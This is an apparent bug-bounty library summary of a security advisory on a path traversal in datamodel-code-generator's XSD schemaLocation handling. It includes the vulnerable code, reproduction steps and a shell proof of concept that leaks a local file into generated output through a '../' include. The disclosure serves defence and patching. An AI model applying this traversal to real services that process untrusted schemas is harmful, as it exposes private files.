# datamodel-code-generator vulnerable to arbitrary local file read via XSD `schemaLocation` (`xs:include`/`xs:import`) path traversal, with no remote-ref gate

datamodel-code-generator resolves XSD schemaLocation includes without base-path containment, letting an attacker-supplied XSD read arbitrary local files into generated output.

- Payout: Research
- Severity: high
- Program: datamodel-code-generator
- Found by: thegr1ffyn
- Disclosed: 2026-07-28
- CVE: CVE-2026-55390
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-442q-2j6p-642g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-442q-2j6p-642g
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:python technique:source-review vuln:info-disclosure vuln:path-traversal

**Target:** XSD parser include/import resolution in datamodel-code-generator CLI
**Root cause:** `(source_dir / schema_location).resolve()` collapses `..` and accepts absolute paths with only an `is_file()` check, no `is_relative_to(base_path)` containment; XSD includes lack the `allow_remote_refs` gate applied to JSON-Schema `$ref`.
**Steps:**
1. Create `/tmp/x/secret/leak.xsd` defining `<xs:simpleType name="LEAK_5150">`.
2. Create `/tmp/x/proj/attack.xsd` with `<xs:include schemaLocation="../../x/secret/leak.xsd"/>` and an element typed `LEAK_5150`.
3. Run `datamodel-codegen --input /tmp/x/proj/attack.xsd --input-file-type xmlschema --no-allow-remote-refs --output /tmp/x/out.py`.
4. `grep LEAK_5150 /tmp/x/out.py` shows content from outside the project dir; absolute `schemaLocation="/abs/path/leak.xsd"` works identically.
**How found:** Reporter compared the XSD include path against the JSON-Schema `$ref` branch, noticed the latter enforces base-path containment and a remote-refs policy while the XSD path only does `is_file()`, then tested `../` and absolute paths; also ruled out XXE and billion-laughs since ElementTree/expat limits apply.
**Exploitation:** Attacker supplies a malicious XSD to any service/CI that generates models and exposes the output; the include target is read and its type names/restrictions/enumerations folded into generated code, disclosing XML/XSD-shaped files outside the input tree. No auth or flags needed.
**Insight:** When a tool supports multiple input formats, diff the security controls across parsers: a gate like `allow_remote_refs` or `is_relative_to` implemented for one format is often missing in a newer sibling parser (here XSD support added later).

## Proof of concept (copied exactly from the original report)

**XSD include traversal PoC with generator command**

```
mkdir -p /tmp/x/secret /tmp/x/proj
cat > /tmp/x/secret/leak.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:simpleType name="LEAK_5150"><xs:restriction base="xs:string"/></xs:simpleType>
</xs:schema>
EOF
cat > /tmp/x/proj/attack.xsd <<'EOF'
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <xs:include schemaLocation="../../x/secret/leak.xsd"/>
  <xs:element name="Root" type="LEAK_5150"/>
</xs:schema>
EOF
datamodel-codegen --input /tmp/x/proj/attack.xsd --input-file-type xmlschema --no-allow-remote-refs --output /tmp/x/out.py
grep LEAK_5150 /tmp/x/out.py   # content from outside the project dir appears in generated code
```

**Vulnerable schemaLocation resolution code**

```
location = (source_dir / schema_location).resolve()   # .resolve() collapses ../, escapes base
if location in seen or not location.is_file():
    continue
included_root = self._parse_schema(_read_xml_text(location, self.encoding), location)
```

